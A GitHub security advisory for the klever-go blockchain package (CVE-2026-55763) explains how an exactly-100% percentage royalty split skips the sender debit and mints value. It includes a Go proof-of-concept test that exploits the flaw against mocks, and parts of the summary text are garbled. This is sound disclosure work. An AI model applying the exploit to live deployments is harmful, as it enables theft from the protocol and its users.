GitHub Advisoryadvisory · Go
GHSA-v358-wf77-39xv klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits
HIGH
Official page ↗
- Aliases
- CVE-2026-55763
- Ecosystem
- Go
- Packages
- github.com/klever-io/klever-go
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-841
- Reviewed
- 2026-08-28
Affected packages
• Go github.com/klever-io/klever-go: < 1.7.19-rc4 → fixed in 1.7.19-rc4
Description
Summary
In `processPercentageRoyaltiesTransfer` the royalty pool is collected from the sender by `SubFromBalance` that is
ordered after the split loop and after `if royaltiesToPay royaltiesToPay`), so a split entry of exactly
100% (`PercentTransferPercentage = 10000`) is a *valid* config: it drives `royaltiesToPay` to 0 and hits the
early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing
for it → mint. The sibling fixed-royalty path (`processFixedRoyaltiesTransfer`) debits the sender first and is
safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after
the early-return.
Affected code
• `core/kapp/accounts/accounts.go` — `processPercentageRoyaltiesTransfer`: split loop → `if royaltiesToPay Full Go PoC (core/kapp/accounts package, passes = mint confirmed)
```go
package accounts
import (
"bytes"
"encoding/hex"
"testing"
"github.com/stretchr/testify/require"
commonMock "github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core"
"github.com/klever-io/klever-go/core/kapp"
"github.com/klever-io/klever-go/data/block"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/data/transaction"
integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
"github.com/klever-io/klever-go/kapps"
kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)
// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
const (
assetIDStr = "FUNGI-1234"
transferValue = int64(800)
royaltyRatePct = uint32(500) // 5%
royaltyAmount = int64(40) // 800 * 5% = 40
)
assetID := []byte(assetIDStr)
// 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
// path is not short-circuited by core.IsSmartContractAddress.
senderAddr := bytes.Repeat([]byte{0x11}, 32)
// Split recipient address must be a valid hex string (computeSplitRoyalties
// hex-decodes the map key).
recipientAddr := bytes.Repeat([]byte{0x22}, 32)
recipientKey := hex.EncodeToString(recipientAddr)
royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)
buildKDA := func(splitPercent uint32) *kapps.KDAData {
return &kapps.KDAData{
AssetType: kapps.KDAData_Fungible,
OwnerAddress: senderAddr,
Royalties: &kapps.RoyaltiesData{
Address: royaltyReceiverAddr,
TransferPercentage: []*kapps.RoyaltyData{
{Amount: 1000, Percentage: royaltyRatePct},
},
SplitRoyalties: map[string]*kapps.RoyaltySplitData{
recipientKey: {PercentTransferPercentage: splitPercent},
},
},
}
}
type runResult struct {
subFromCalls int
subFromAmount int64
addToRecipient int64
addToOwnerRem int64
resCode transaction.Transaction_TXResultCode
err error
}
run := func(t *testing.T, splitPercent uint32) runResult {
t.Helper()
res := runResult{}
// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
acntSrc := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return senderAddr },
GetBalanceCalled: func(_ []byte, _ bool) int64 { return 1_000_000 },
SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.subFromCalls++
res.subFromAmount += value
return nil
},
}
// Destination is irrelevant to the royalty pool accounting here.
acntDst := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
}
// Split recipient: capture the credit it receives.
splitRecipient := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return recipientAddr },
AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.addToRecipient += value
return nil
},
}
// Owner-remainder receiver (only credited when the path does NOT early-return).
royaltyReceiver := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.addToOwnerRem += value
return nil
},
}
cacher := &commonMock.AccountsCacherStub{
LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
if bytes.Equal(address, recipientAddr) {
return splitRecipient, nil
}
if bytes.Equal(address, royaltyReceiverAddr) {
return royaltyReceiver, nil
}
return acntSrc, nil
},
GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
return royaltyReceiver, nil
},
UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
}
// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
// (overflow-checked percentage math), and FixMarketBuyOverflow so the
// fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
fc := &integrationMock.ForkControllerStub{
KdaFprCalled: func() bool { return true },
EnableSmartContractsCalled: func() bool { return true },
FixMarketBuyOverflowCalled: func() bool { return true },
}
kappController := &kvmStub.KAppControllerStub{
GetCurrentKAppContextCalled: func() kapp.KappContext {
return kapp.NewKappContext(kapp.ArgsNewKAppContext{
OriginalSender: senderAddr,
ContractID: 0,
ContractType: transaction.TXContract_TransferContractType,
Block: &block.Block{},
})
},
}
a := &accountsKapp{
accountsCacher: cacher,
forkController: fc,
KAppController: kappController,
}
tc := &transaction.TransferContract{
Amount: transferValue,
KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
}
kda := buildKDA(splitPercent)
res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
tc, assetID, nil, acntSrc, acntDst, kda,
)
return res
}
// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
t.Run("split_100pct_mints", func(t *testing.T) {
r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VAL…
Related
Alias · CVE (1)
- CVE-2026-55763 Klever-Go is the Go implementation of the Klever blockchain protocol. vulnerability
Weakness · CWE (1)
- CWE-841 Improper Enforcement of Behavioral Workflow weakness